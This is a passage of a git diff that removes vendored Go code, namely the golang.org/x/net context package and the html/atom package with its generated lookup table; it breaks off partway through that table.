Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build !go1.7 - -package context - -import ( - "errors" - "fmt" - "sync" - "time" -) - -// An emptyCtx is never canceled, has no values, and has no deadline. It is not -// struct{}, since vars of this type must have distinct addresses. -type emptyCtx int - -func (*emptyCtx) Deadline() (deadline time.Time, ok bool) { - return -} - -func (*emptyCtx) Done() <-chan struct{} { - return nil -} - -func (*emptyCtx) Err() error { - return nil -} - -func (*emptyCtx) Value(key interface{}) interface{} { - return nil -} - -func (e *emptyCtx) String() string { - switch e { - case background: - return "context.Background" - case todo: - return "context.TODO" - } - return "unknown empty Context" -} - -var ( - background = new(emptyCtx) - todo = new(emptyCtx) -) - -// Canceled is the error returned by Context.Err when the context is canceled. -var Canceled = errors.New("context canceled") - -// DeadlineExceeded is the error returned by Context.Err when the context's -// deadline passes. -var DeadlineExceeded = errors.New("context deadline exceeded") - -// WithCancel returns a copy of parent with a new Done channel. The returned -// context's Done channel is closed when the returned cancel function is called -// or when the parent context's Done channel is closed, whichever happens first. -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete. -func WithCancel(parent Context) (ctx Context, cancel CancelFunc) { - c := newCancelCtx(parent) - propagateCancel(parent, c) - return c, func() { c.cancel(true, Canceled) } -} - -// newCancelCtx returns an initialized cancelCtx. -func newCancelCtx(parent Context) *cancelCtx { - return &cancelCtx{ - Context: parent, - done: make(chan struct{}), - } -} - -// propagateCancel arranges for child to be canceled when parent is. -func propagateCancel(parent Context, child canceler) { - if parent.Done() == nil { - return // parent is never canceled - } - if p, ok := parentCancelCtx(parent); ok { - p.mu.Lock() - if p.err != nil { - // parent has already been canceled - child.cancel(false, p.err) - } else { - if p.children == nil { - p.children = make(map[canceler]bool) - } - p.children[child] = true - } - p.mu.Unlock() - } else { - go func() { - select { - case <-parent.Done(): - child.cancel(false, parent.Err()) - case <-child.Done(): - } - }() - } -} - -// parentCancelCtx follows a chain of parent references until it finds a -// *cancelCtx. This function understands how each of the concrete types in this -// package represents its parent. -func parentCancelCtx(parent Context) (*cancelCtx, bool) { - for { - switch c := parent.(type) { - case *cancelCtx: - return c, true - case *timerCtx: - return c.cancelCtx, true - case *valueCtx: - parent = c.Context - default: - return nil, false - } - } -} - -// removeChild removes a context from its parent. -func removeChild(parent Context, child canceler) { - p, ok := parentCancelCtx(parent) - if !ok { - return - } - p.mu.Lock() - if p.children != nil { - delete(p.children, child) - } - p.mu.Unlock() -} - -// A canceler is a context type that can be canceled directly. The -// implementations are *cancelCtx and *timerCtx. -type canceler interface { - cancel(removeFromParent bool, err error) - Done() <-chan struct{} -} - -// A cancelCtx can be canceled. When canceled, it also cancels any children -// that implement canceler. -type cancelCtx struct { - Context - - done chan struct{} // closed by the first cancel call. - - mu sync.Mutex - children map[canceler]bool // set to nil by the first cancel call - err error // set to non-nil by the first cancel call -} - -func (c *cancelCtx) Done() <-chan struct{} { - return c.done -} - -func (c *cancelCtx) Err() error { - c.mu.Lock() - defer c.mu.Unlock() - return c.err -} - -func (c *cancelCtx) String() string { - return fmt.Sprintf("%v.WithCancel", c.Context) -} - -// cancel closes c.done, cancels each of c's children, and, if -// removeFromParent is true, removes c from its parent's children. -func (c *cancelCtx) cancel(removeFromParent bool, err error) { - if err == nil { - panic("context: internal error: missing cancel error") - } - c.mu.Lock() - if c.err != nil { - c.mu.Unlock() - return // already canceled - } - c.err = err - close(c.done) - for child := range c.children { - // NOTE: acquiring the child's lock while holding parent's lock. - child.cancel(false, err) - } - c.children = nil - c.mu.Unlock() - - if removeFromParent { - removeChild(c.Context, c) - } -} - -// WithDeadline returns a copy of the parent context with the deadline adjusted -// to be no later than d. If the parent's deadline is already earlier than d, -// WithDeadline(parent, d) is semantically equivalent to parent. The returned -// context's Done channel is closed when the deadline expires, when the returned -// cancel function is called, or when the parent context's Done channel is -// closed, whichever happens first. -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete. -func WithDeadline(parent Context, deadline time.Time) (Context, CancelFunc) { - if cur, ok := parent.Deadline(); ok && cur.Before(deadline) { - // The current deadline is already sooner than the new one. - return WithCancel(parent) - } - c := &timerCtx{ - cancelCtx: newCancelCtx(parent), - deadline: deadline, - } - propagateCancel(parent, c) - d := deadline.Sub(time.Now()) - if d <= 0 { - c.cancel(true, DeadlineExceeded) // deadline has already passed - return c, func() { c.cancel(true, Canceled) } - } - c.mu.Lock() - defer c.mu.Unlock() - if c.err == nil { - c.timer = time.AfterFunc(d, func() { - c.cancel(true, DeadlineExceeded) - }) - } - return c, func() { c.cancel(true, Canceled) } -} - -// A timerCtx carries a timer and a deadline. It embeds a cancelCtx to -// implement Done and Err. It implements cancel by stopping its timer then -// delegating to cancelCtx.cancel. -type timerCtx struct { - *cancelCtx - timer *time.Timer // Under cancelCtx.mu. - - deadline time.Time -} - -func (c *timerCtx) Deadline() (deadline time.Time, ok bool) { - return c.deadline, true -} - -func (c *timerCtx) String() string { - return fmt.Sprintf("%v.WithDeadline(%s [%s])", c.cancelCtx.Context, c.deadline, c.deadline.Sub(time.Now())) -} - -func (c *timerCtx) cancel(removeFromParent bool, err error) { - c.cancelCtx.cancel(false, err) - if removeFromParent { - // Remove this timerCtx from its parent cancelCtx's children. - removeChild(c.cancelCtx.Context, c) - } - c.mu.Lock() - if c.timer != nil { - c.timer.Stop() - c.timer = nil - } - c.mu.Unlock() -} - -// WithTimeout returns WithDeadline(parent, time.Now().Add(timeout)). -// -// Canceling this context releases resources associated with it, so code should -// call cancel as soon as the operations running in this Context complete: -// -// func slowOperationWithTimeout(ctx context.Context) (Result, error) { -// ctx, cancel := context.WithTimeout(ctx, 100*time.Millisecond) -// defer cancel() // releases resources if slowOperation completes before timeout elapses -// return slowOperation(ctx) -// } -func WithTimeout(parent Context, timeout time.Duration) (Context, CancelFunc) { - return WithDeadline(parent, time.Now().Add(timeout)) -} - -// WithValue returns a copy of parent in which the value associated with key is -// val. -// -// Use context Values only for request-scoped data that transits processes and -// APIs, not for passing optional parameters to functions. -func WithValue(parent Context, key interface{}, val interface{}) Context { - return &valueCtx{parent, key, val} -} - -// A valueCtx carries a key-value pair. It implements Value for that key and -// delegates all other calls to the embedded Context. -type valueCtx struct { - Context - key, val interface{} -} - -func (c *valueCtx) String() string { - return fmt.Sprintf("%v.WithValue(%#v, %#v)", c.Context, c.key, c.val) -} - -func (c *valueCtx) Value(key interface{}) interface{} { - if c.key == key { - return c.val - } - return c.Context.Value(key) -} diff --git a/vendor/golang.org/x/net/context/pre_go19.go b/vendor/golang.org/x/net/context/pre_go19.go deleted file mode 100644 index b105f80be4..0000000000 --- a/vendor/golang.org/x/net/context/pre_go19.go +++ /dev/null @@ -1,109 +0,0 @@ -// Copyright 2014 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// +build !go1.9 - -package context - -import "time" - -// A Context carries a deadline, a cancelation signal, and other values across -// API boundaries. -// -// Context's methods may be called by multiple goroutines simultaneously. -type Context interface { - // Deadline returns the time when work done on behalf of this context - // should be canceled. Deadline returns ok==false when no deadline is - // set. Successive calls to Deadline return the same results. - Deadline() (deadline time.Time, ok bool) - - // Done returns a channel that's closed when work done on behalf of this - // context should be canceled. Done may return nil if this context can - // never be canceled. Successive calls to Done return the same value. - // - // WithCancel arranges for Done to be closed when cancel is called; - // WithDeadline arranges for Done to be closed when the deadline - // expires; WithTimeout arranges for Done to be closed when the timeout - // elapses. - // - // Done is provided for use in select statements: - // - // // Stream generates values with DoSomething and sends them to out - // // until DoSomething returns an error or ctx.Done is closed. - // func Stream(ctx context.Context, out chan<- Value) error { - // for { - // v, err := DoSomething(ctx) - // if err != nil { - // return err - // } - // select { - // case <-ctx.Done(): - // return ctx.Err() - // case out <- v: - // } - // } - // } - // - // See http://blog.golang.org/pipelines for more examples of how to use - // a Done channel for cancelation. - Done() <-chan struct{} - - // Err returns a non-nil error value after Done is closed. Err returns - // Canceled if the context was canceled or DeadlineExceeded if the - // context's deadline passed. No other values for Err are defined. - // After Done is closed, successive calls to Err return the same value. - Err() error - - // Value returns the value associated with this context for key, or nil - // if no value is associated with key. Successive calls to Value with - // the same key returns the same result. - // - // Use context values only for request-scoped data that transits - // processes and API boundaries, not for passing optional parameters to - // functions. - // - // A key identifies a specific value in a Context. Functions that wish - // to store values in Context typically allocate a key in a global - // variable then use that key as the argument to context.WithValue and - // Context.Value. A key can be any type that supports equality; - // packages should define keys as an unexported type to avoid - // collisions. - // - // Packages that define a Context key should provide type-safe accessors - // for the values stores using that key: - // - // // Package user defines a User type that's stored in Contexts. - // package user - // - // import "golang.org/x/net/context" - // - // // User is the type of value stored in the Contexts. - // type User struct {...} - // - // // key is an unexported type for keys defined in this package. - // // This prevents collisions with keys defined in other packages. - // type key int - // - // // userKey is the key for user.User values in Contexts. It is - // // unexported; clients use user.NewContext and user.FromContext - // // instead of using this key directly. - // var userKey key = 0 - // - // // NewContext returns a new Context that carries value u. - // func NewContext(ctx context.Context, u *User) context.Context { - // return context.WithValue(ctx, userKey, u) - // } - // - // // FromContext returns the User value stored in ctx, if any. - // func FromContext(ctx context.Context) (*User, bool) { - // u, ok := ctx.Value(userKey).(*User) - // return u, ok - // } - Value(key interface{}) interface{} -} - -// A CancelFunc tells an operation to abandon its work. -// A CancelFunc does not wait for the work to stop. -// After the first call, subsequent calls to a CancelFunc do nothing. -type CancelFunc func() diff --git a/vendor/golang.org/x/net/html/atom/atom.go b/vendor/golang.org/x/net/html/atom/atom.go deleted file mode 100644 index cd0a8ac154..0000000000 --- a/vendor/golang.org/x/net/html/atom/atom.go +++ /dev/null @@ -1,78 +0,0 @@ -// Copyright 2012 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package atom provides integer codes (also known as atoms) for a fixed set of -// frequently occurring HTML strings: tag names and attribute keys such as "p" -// and "id". -// -// Sharing an atom's name between all elements with the same tag can result in -// fewer string allocations when tokenizing and parsing HTML. Integer -// comparisons are also generally faster than string comparisons. -// -// The value of an atom's particular code is not guaranteed to stay the same -// between versions of this package. Neither is any ordering guaranteed: -// whether atom.H1 < atom.H2 may also change. The codes are not guaranteed to -// be dense. The only guarantees are that e.g. looking up "div" will yield -// atom.Div, calling atom.Div.String will return "div", and atom.Div != 0. -package atom // import "golang.org/x/net/html/atom" - -// Atom is an integer code for a string. The zero value maps to "". -type Atom uint32 - -// String returns the atom's name. -func (a Atom) String() string { - start := uint32(a >> 8) - n := uint32(a & 0xff) - if start+n > uint32(len(atomText)) { - return "" - } - return atomText[start : start+n] -} - -func (a Atom) string() string { - return atomText[a>>8 : a>>8+a&0xff] -} - -// fnv computes the FNV hash with an arbitrary starting value h. -func fnv(h uint32, s []byte) uint32 { - for i := range s { - h ^= uint32(s[i]) - h *= 16777619 - } - return h -} - -func match(s string, t []byte) bool { - for i, c := range t { - if s[i] != c { - return false - } - } - return true -} - -// Lookup returns the atom whose name is s. It returns zero if there is no -// such atom. The lookup is case sensitive. -func Lookup(s []byte) Atom { - if len(s) == 0 || len(s) > maxAtomLen { - return 0 - } - h := fnv(hash0, s) - if a := table[h&uint32(len(table)-1)]; int(a&0xff) == len(s) && match(a.string(), s) { - return a - } - if a := table[(h>>16)&uint32(len(table)-1)]; int(a&0xff) == len(s) && match(a.string(), s) { - return a - } - return 0 -} - -// String returns a string whose contents are equal to s. In that sense, it is -// equivalent to string(s) but may be more efficient. -func String(s []byte) string { - if a := Lookup(s); a != 0 { - return a.String() - } - return string(s) -} diff --git a/vendor/golang.org/x/net/html/atom/table.go b/vendor/golang.org/x/net/html/atom/table.go deleted file mode 100644 index 2a938864cb..0000000000 --- a/vendor/golang.org/x/net/html/atom/table.go +++ /dev/null @@ -1,783 +0,0 @@ -// Code generated by go generate gen.go; DO NOT EDIT. - -//go:generate go run gen.go - -package atom - -const ( - A Atom = 0x1 - Abbr Atom = 0x4 - Accept Atom = 0x1a06 - AcceptCharset Atom = 0x1a0e - Accesskey Atom = 0x2c09 - Acronym Atom = 0xaa07 - Action Atom = 0x27206 - Address Atom = 0x6f307 - Align Atom = 0xb105 - Allowfullscreen Atom = 0x2080f - Allowpaymentrequest Atom = 0xc113 - Allowusermedia Atom = 0xdd0e - Alt Atom = 0xf303 - Annotation Atom = 0x1c90a - AnnotationXml Atom = 0x1c90e - Applet Atom = 0x31906 - Area Atom = 0x35604 - Article Atom = 0x3fc07 - As Atom = 0x3c02 - Aside Atom = 0x10705 - Async Atom = 0xff05 - Audio Atom = 0x11505 - Autocomplete Atom = 0x2780c - Autofocus Atom = 0x12109 - Autoplay Atom = 0x13c08 - B Atom = 0x101 - Base Atom = 0x3b04 - Basefont Atom = 0x3b08 - Bdi Atom = 0xba03 - Bdo Atom = 0x14b03 - Bgsound Atom = 0x15e07 - Big Atom = 0x17003 - Blink Atom = 0x17305 - Blockquote Atom = 0x1870a - Body Atom = 0x2804 - Br Atom = 0x202 - Button Atom = 0x19106 - Canvas Atom = 0x10306 - Caption Atom = 0x23107 - Center Atom = 0x22006 - Challenge Atom = 0x29b09 - Charset Atom = 0x2107 - Checked Atom = 0x47907 - Cite Atom = 0x19c04 - Class Atom = 0x56405 - Code Atom = 0x5c504 - Col Atom = 0x1ab03 - Colgroup Atom = 0x1ab08 - Color Atom = 0x1bf05 - Cols Atom = 0x1c404 - Colspan Atom = 0x1c407 - Command Atom = 0x1d707 - Content Atom = 0x58b07 - Contenteditable Atom = 0x58b0f - Contextmenu Atom = 0x3800b - Controls Atom = 0x1de08 - Coords Atom = 0x1ea06 - Crossorigin Atom = 0x1fb0b - Data Atom = 0x4a504 - Datalist Atom = 0x4a508 - Datetime Atom = 0x2b808 - Dd Atom = 0x2d702 - Default Atom = 0x10a07 - Defer Atom = 0x5c705 - Del Atom = 0x45203 - Desc Atom = 0x56104 - Details Atom = 0x7207 - Dfn Atom = 0x8703 - Dialog Atom = 0xbb06 - Dir Atom = 0x9303 - Dirname Atom = 0x9307 - Disabled Atom = 0x16408 - Div Atom = 0x16b03 - Dl Atom = 0x5e602 - Download Atom = 0x46308 - Draggable Atom = 0x17a09 - Dropzone Atom = 0x40508 - Dt Atom = 0x64b02 - Em Atom = 0x6e02 - Embed Atom = 0x6e05 - Enctype Atom = 0x28d07 - Face Atom = 0x21e04 - Fieldset Atom = 0x22608 - Figcaption Atom = 0x22e0a - Figure Atom = 0x24806 - Font Atom = 0x3f04 - Footer Atom = 0xf606 - For Atom = 0x25403 - ForeignObject Atom = 0x2540d - Foreignobject Atom = 0x2610d - Form Atom = 0x26e04 - Formaction Atom = 0x26e0a - Formenctype Atom = 0x2890b - Formmethod Atom = 0x2a40a - Formnovalidate Atom = 0x2ae0e - Formtarget Atom = 0x2c00a - Frame Atom = 0x8b05 - Frameset Atom = 0x8b08 - H1 Atom = 0x15c02 - H2 Atom = 0x2de02 - H3 Atom = 0x30d02 - H4 Atom = 0x34502 - H5 Atom = 0x34f02 - H6 Atom = 0x64d02 - Head Atom = 0x33104 - Header Atom = 0x33106 - Headers Atom = 0x33107 - Height Atom = 0x5206 - Hgroup Atom = 0x2ca06 - Hidden Atom = 0x2d506 - High Atom = 0x2db04 - Hr Atom = 0x15702 - Href Atom = 0x2e004 - Hreflang Atom = 0x2e008 - Html Atom = 0x5604 - HttpEquiv Atom = 0x2e80a - I Atom = 0x601 - Icon Atom = 0x58a04 - Id Atom = 0x10902 - Iframe Atom = 0x2fc06 - Image Atom = 0x30205 - Img Atom = 0x30703 - Input Atom = 0x44b05 - Inputmode Atom = 0x44b09 - Ins Atom = 0x20403 - Integrity Atom = 0x23f09 - Is Atom = 0x16502 - Isindex Atom = 0x30f07 - Ismap Atom = 0x31605 - Itemid Atom = 0x38b06 - Itemprop Atom = 0x19d08 - Itemref Atom = 0x3cd07 - Itemscope Atom = 0x67109 - Itemtype Atom = 0x31f08 - Kbd Atom = 0xb903 - Keygen Atom = 0x3206 - Keytype Atom = 0xd607 - Kind Atom = 0x17704 - Label Atom = 0x5905 - Lang Atom = 0x2e404 - Legend Atom = 0x18106 - Li Atom = 0xb202 - Link Atom = 0x17404 - List Atom = 0x4a904 - Listing Atom = 0x4a907 - Loop Atom = 0x5d04 - Low Atom = 0xc303 - Main Atom = 0x1004 - Malignmark Atom = 0xb00a - Manifest Atom = 0x6d708 - Map Atom = 0x31803 - Mark Atom = 0xb604 - Marquee Atom = 0x32707 - Math Atom = 0x32e04 - Max Atom = 0x33d03 - Maxlength Atom = 0x33d09 - Media Atom = 0xe605 - Mediagroup Atom = 0xe60a - Menu Atom = 0x38704 - Menuitem Atom = 0x38708 - Meta Atom = 0x4b804 - Meter Atom = 0x9805 - Method Atom = 0x2a806 - Mglyph Atom = 0x30806 - Mi Atom = 0x34702 - Min Atom = 0x34703 - Minlength Atom = 0x34709 - Mn Atom = 0x2b102 - Mo Atom = 0xa402 - Ms Atom = 0x67402 - Mtext Atom = 0x35105 - Multiple Atom = 0x35f08 - Muted Atom = 0x36705 - Name Atom = 0x9604 - Nav Atom = 0x1303 - Nobr Atom = 0x3704 - Noembed Atom = 0x6c07 - Noframes Atom = 0x8908 - Nomodule Atom = 0xa208 - Nonce Atom = 0x1a605 - Noscript Atom = 0x21608 - Novalidate Atom = 0x2b20a - Object Atom = 0x26806 - Ol Atom = 0x13702 - Onabort Atom = 0x19507 - Onafterprint Atom = 0x2360c - Onautocomplete Atom = 0x2760e - Onautocompleteerror Atom = 0x27613 - Onauxclick Atom = 0x61f0a - Onbeforeprint Atom = 0x69e0d - Onbeforeunload Atom = 0x6e70e - Onblur Atom = 0x56d06 - Oncancel Atom = 0x11908 - Oncanplay Atom = 0x14d09 - Oncanplaythrough Atom = 0x14d10 - Onchange Atom = 0x41b08 - Onclick Atom = 0x2f507 - Onclose Atom = 0x36c07 - Oncontextmenu Atom = 0x37e0d - Oncopy Atom = 0x39106 - Oncuechange Atom = 0x3970b - Oncut Atom = 0x3a205 - Ondblclick Atom = 0x3a70a - Ondrag Atom = 0x3b106 - Ondragend Atom = 0x3b109 - Ondragenter Atom = 0x3ba0b - Ondragexit Atom = 0x3c50a - Ondragleave Atom = 0x3df0b - Ondragover Atom = 0x3ea0a - Ondragstart Atom = 0x3f40b - Ondrop Atom = 0x40306 - Ondurationchange Atom = 0x41310 - Onemptied Atom = 0x40a09 - Onended Atom = 0x42307 - Onerror Atom = 0x42a07 - Onfocus Atom = 0x43107 - Onhashchange Atom = 0x43d0c - Oninput Atom = 0x44907 - Oninvalid Atom = 0x45509 - Onkeydown Atom = 0x45e09 - Onkeypress Atom = 0x46b0a - Onkeyup Atom = 0x48007 - Onlanguagechange Atom = 0x48d10 - Onload Atom = 0x49d06 - Onloadeddata Atom = 0x49d0c - Onloadedmetadata Atom = 0x4b010 - Onloadend Atom = 0x4c609 - Onloadstart Atom = 0x4cf0b - Onmessage Atom = 0x4da09 - Onmessageerror Atom = 0x4da0e - Onmousedown Atom = 0x4e80b - Onmouseenter Atom = 0x4f30c - Onmouseleave Atom = 0x4ff0c - Onmousemove Atom = 0x50b0b - Onmouseout Atom = 0x5160a - Onmouseover Atom = 0x5230b - Onmouseup Atom = 0x52e09 - Onmousewheel Atom = 0x53c0c - Onoffline Atom = 0x54809 - Ononline Atom = 0x55108 - Onpagehide Atom = 0x5590a - Onpageshow Atom = 0x5730a - Onpaste Atom = 0x57f07 - Onpause Atom = 0x59a07 - Onplay Atom = 0x5a406 - Onplaying Atom = 0x5a409 - Onpopstate Atom = 0x5ad0a - Onprogress Atom = 0x5b70a - Onratechange Atom = 0x5cc0c - Onrejectionhandled Atom = 0x5d812 - Onreset Atom = 0x5ea07 - Onresize Atom = 0x5f108 - Onscroll Atom = 0x60008 - Onsecuritypolicyviolation Atom = 0x60819 - Onseeked Atom = 0x62908 - Onseeking Atom = 0x63109 - Onselect Atom = 0x63a08 - Onshow Atom = 0x64406 - Onsort Atom = 0x64f06 - Onstalled Atom = 0x65909 - Onstorage Atom = 0x66209 - Onsubmit Atom = 0x66b08 - Onsuspend Atom = 0x67b09 - Ontimeupdate Atom = 0x400c - Ontoggle Atom = 0x68408 - Onunhandledrejection Atom = 0x68c14 - Onunload Atom = 0x6ab08 - Onvolumechange Atom = 0x6b30e - Onwaiting Atom = 0x6c109 - Onwheel Atom = 0x6ca07 - Open Atom = 0x1a304 - Optgroup Atom = 0x5f08 - Optimum Atom = 0x6d107 - Option Atom = 0x6e306 - Output Atom = 0x51d06 - P Atom = 0xc01 - Param Atom = 0xc05 - Pattern Atom = 0x6607 - Picture Atom = 0x7b07 - Ping Atom = 0xef04 - Placeholder Atom = 0x1310b - Plaintext Atom = 0x1b209 - Playsinline Atom = 0x1400b - Poster Atom = 0x2cf06 - Pre Atom = 0x47003 - Preload Atom = 0x48607 - Progress Atom = 0x5b908 - Prompt Atom = 0x53606 - Public Atom = 0x58606 - Q Atom = 0xcf01 - Radiogroup Atom = 0x30a - Rb Atom = 0x3a02 - Readonly Atom = 0x35708 - Referrerpolicy Atom = 0x3d10e - Rel Atom = 0x48703 - Required Atom = 0x24c08 - Reversed Atom = 0x8008 - Rows Atom = 0x9c04 - Rowspan Atom = 0x9c07 - Rp Atom = 0x23c02 - Rt Atom = 0x19a02 - Rtc Atom = 0x19a03 - Ruby Atom = 0xfb04 - S Atom = 0x2501 - Samp Atom = 0x7804 - Sandbox Atom = 0x12907 - Scope Atom = 0x67505 - Scoped Atom = 0x67506 - Script Atom = 0x21806 - Seamless Atom = 0x37108 - Section Atom = 0x56807 - Select Atom = 0x63c06 - Selected Atom = 0x63c08 - Shape Atom = 0x1e505 - Size Atom = 0x5f504 - Sizes Atom = 0x5f505 - Slot Atom = 0x1ef04 - Small Atom = 0x20605 - Sortable Atom = 0x65108 - Sorted Atom = 0x33706 - Source Atom = 0x37806 - Spacer Atom = 0x43706 - Span Atom = 0x9f04 - Spellcheck Atom = 0x4740a - Src Atom = 0x5c003 - Srcdoc Atom = 0x5c006 - Srclang Atom = 0x5f907 - Srcset Atom = 0x6f906 - Start Atom = 0x3fa05 - Step Atom = 0x58304 - Strike Atom = 0xd206 - Strong Atom = 0x6dd06 - Style Atom = 0x6ff05 - Sub Atom = 0x66d03 - Summary Atom = 0x70407 - Sup Atom = 0x70b03 - Svg Atom = 0x70e03 - System Atom = 0x71106 - Tabindex Atom = 0x4be08 - Table Atom = 0x59505 - Target Atom = 0x2c406 - Tbody Atom = 0x2705 - Td Atom = 0x9202 - Template Atom = 0x71408 - Textarea Atom = 0x35208 - Tfoot Atom = 0xf505 - Th Atom = 0x15602 - Thead Atom = 0x33005 - Time Atom = 0x4204 - Title Atom = 0x11005 - Tr Atom = 0xcc02 - Track Atom = 0x1ba05 - Translate Atom = 0x1f209 - Tt Atom = 0x6802 - Type Atom = 0xd904 - Typemustmatch Atom = 0x2900d - U Atom = 0xb01 - Ul Atom = 0xa702 - Updateviacache Atom = 0x460e - Usemap Atom = 0x59e06 - Value Atom = 0x1505 - Var Atom = 0x16d03 - Video Atom = 0x2f105 - Wbr Atom = 0x57c03 - Width Atom = 0x64905 - Workertype Atom = 0x71c0a - Wrap Atom = 0x72604 - Xmp Atom = 0x12f03 -) - -const hash0 = 0x81cdf10e - -const maxAtomLen = 25 - -var table = [1 << 9]Atom{ - 0x1: 0xe60a, // mediagroup - 0x2: 0x2e404, // lang - 0x4: 0x2c09, // accesskey - 0x5: 0x8b08, // frameset - 0x7: 0x63a08, // onselect - 0x8: 0x71106, // system - 0xa: 0x64905, // width - 0xc: 0x2890b, // formenctype - 0xd: 0x13702, // ol - 0xe: 0x3970b, // oncuechange - 0x10: 0x14b03, // bdo - 0x11: 0x11505, // audio - 0x12: 0x17a09, // draggable - 0x14: 0x2f105, // video - 0x15: 0x2b102, // mn - 0x16: 0x38704, // menu - 0x17: 0x2cf06, // poster - 0x19: 0xf606, // footer - 0x1a: 0x2a806, // method - 0x1b: 0x2b808, // datetime - 0x1c: 0x19507, // onabort - 0x1d: 0x460e, // updateviacache - 0x1e: 0xff05, // async - 0x1f: 0x49d06, // onload - 0x21: 0x11908, // oncancel - 0x22: 0x62908, // onseeked - 0x23: 0x30205, // image - 0x24: 0x5d812, // onrejectionhandled - 0x26: 0x17404, // link - 0x27: 0x51d06, // output - 0x28: 0x33104, // head - 0x29: 0x4ff0c, // onmouseleave - 0x2a: 0x57f07, // onpaste - 0x2b: 0x5a409, // onplaying - 0x2c: 0x1c407, // colspan - 0x2f: 0x1bf05, // color - 0x30: 0x5f504, // size - 0x31: 0x2e80a, // http-equiv - 0x33: 0x601, // i - 0x34: 0x5590a, // onpagehide - 0x35: 0x68c14, // onunhandledrejection - 0x37: 0x42a07, // onerror - 0x3a: 0x3b08, // basefont - 0x3f: 0x1303, // nav - 0x40: 0x17704, // kind - 0x41: 0x35708, // readonly - 0x42: 0x30806, // mglyph - 0x44: 0xb202, // li - 0x46: 0x2d506, // hidden - 0x47: 0x70e03, // svg - 0x48: 0x58304, // step - 0x49: 0x23f09, // integrity - 0x4a: 0x58606, // public - 0x4c: 0x1ab03, // col - 0x4d: 0x1870a, // blockquote - 0x4e: 0x34f02, // h5 - 0x50: 0x5b908, // progress - 0x51: 0x5f505, // sizes - 0x52: 0x34502, // h4 - 0x56: 0x33005, // thead - 0x57: 0xd607, // keytype - 0x58: 0x5b70a, // onprogress - 0x59: 0x44b09, // inputmode - 0x5a: 0x3b109, // ondragend - 0x5d: 0x3a205, // oncut - 0x5e: 0x43706, // spacer - 0x5f: 0x1ab08, // colgroup - 0x62: 0x16502, // is - 0x65: 0x3c02, // as - 0x66: 0x54809, // onoffline - 0x67: 0x33706, // sorted - 0x69: 0x48d10, // onlanguagechange - 0x6c: 0x43d0c, // onhashchange - 0x6d: 0x9604, // name - 0x6e: 0xf505, // tfoot - 0x6f: 0x56104, // desc - 0x70: 0x33d03, // max - 0x72: 0x1ea06, // coords - 0x73: 0x30d02, // h3 - 0x74: 0x6e70e, // onbeforeunload - 0x75: 0x9c04, // rows - 0x76: 0x63c06, // select - 0x77: 0x9805, // meter - 0x78: 0x38b06, // itemid - 0x79: 0x53c0c, // onmousewheel - 0x7a: 0x5c006, // srcdoc - 0x7d: 0x1ba05, // track - 0x7f: 0x31f08, // itemtype - 0x82: 0xa402, // mo - 0x83: 0x41b08, // onchange - 0x84: 0x33107, // headers - 0x85: 0x5cc0c, // onratechange - 0x86: 0x60819, // onsecuritypolicyviolation - 0x88: 0x4a508, // datalist - 0x89: 0x4e80b, // onmousedown - 0x8a: 0x1ef04, // slot - 0x8b: 0x4b010, // onloadedmetadata - 0x8c: 0x1a06, // accept - 0x8d: 0x26806, // object - 0x91: 0x6b30e, // onvolumechange - 0x92: 0x2107, // charset - 0x93: 0x27613, // onautocompleteerror - 0x94: 0xc113, // allowpaymentrequest - 0x95: 0x2804, // body - 0x96: 0x10a07, // default - 0x97: 0x63c08, // selected - 0x98: 0x21e04, // face - 0x99: 0x1e505, // shape - 0x9b: 0x68408, // ontoggle - 0x9e: 0x64b02, // dt - 0x9f: 0xb604, // mark - 0xa1: 0xb01, // u - 0xa4: 0x6ab08, // onunload - 0xa5: 0x5d04, // loop - 0xa6: 0x16408, // disabled - 0xaa: 0x42307, // onended - 0xab: 0xb00a, // malignmark - 0xad: 0x67b09, // onsuspend - 0xae: 0x35105, // mtext - 0xaf: 0x64f06, // onsort - 0xb0: 0x19d08, // itemprop - 0xb3: 0x67109, // itemscope - 0xb4: 0x17305, // blink - 0xb6: 0x3b106, // ondrag - 0xb7: 0xa702, // ul - 0xb8: 0x26e04, // form - 0xb9: 0x12907, // sandbox - 0xba: 0x8b05, // frame - 0xbb: 0x1505, // value - 0xbc: 0x66209, // onstorage - 0xbf: 0xaa07, // acronym - 0xc0: 0x19a02, // rt - 0xc2: 0x202, // br - 0xc3: 0x22608, // fieldset - 0xc4: 0x2900d, // typemustmatch - 0xc5: 0xa208, // nomodule - 0xc6: 0x6c07, // noembed - 0xc7: 0x69e0d, // onbeforeprint - 0xc8: 0x19106, // button - 0xc9: 0x2f507, // onclick - 0xca: 0x70407, // summary - 0xcd: 0xfb04, // ruby - 0xce: 0x56405, // class - 0xcf: 0x3f40b, // ondragstart - 0xd0: 0x23107, // caption - 0xd4: 0xdd0e, // allowusermedia - 0xd5: 0x4cf0b, // onloadstart - 0xd9: 0x16b03, // div - 0xda: 0x4a904, // list - 0xdb: 0x32e04, // math - 0xdc: 0x44b05, // input - 0xdf: 0x3ea0a, // ondragover - 0xe0: 0x2de02, // h2 - 0xe2: 0x1b209, // plaintext - 0xe4: 0x4f30c, // onmouseenter - 0xe7: 0x47907, // checked - 0xe8: 0x47003, // pre - 0xea: 0x35f08, // multiple - 0xeb: 0xba03, // bdi - 0xec: 0x33d09, // maxlength - 0xed: 0xcf01, // q - 0xee: 0x61f0a, // onauxclick - 0xf0: 0x57c03, // wbr - 0xf2: 0x3b04, // base - 0xf3: 0x6e306, // option - 0xf5: 0x41310, // ondurationchange - 0xf7: 0x8908, // noframes - 0xf9: 0x40508, // dropzone - 0xfb: 0x67505, // scope - 0xfc: 0x8008, // reversed - 0xfd: 0x3ba0b, // ondragenter - 0xfe: 0x3fa05, // start - 0xff: 0x12f03, // xmp - 0x100: 0x5f907, // srclang - 0x101: 0x30703, // img - 0x104: 0x101, // b - 0x105: 0x25403, // for - 0x106: 0x10705, // aside - 0x107: 0x44907, // oninput - 0x108: 0x35604, // area - 0x109: 0x2a40a, // formmethod - 0x10a: 0x72604, // wrap - 0x10c: 0x23c02, // rp - 0x10d: 0x46b0a, // onkeypress - 0x10e: 0x6802, // tt - 0x110: 0x34702, // mi - 0x111: 0x36705, // muted - 0x112: 0xf303, // alt - 0x113: 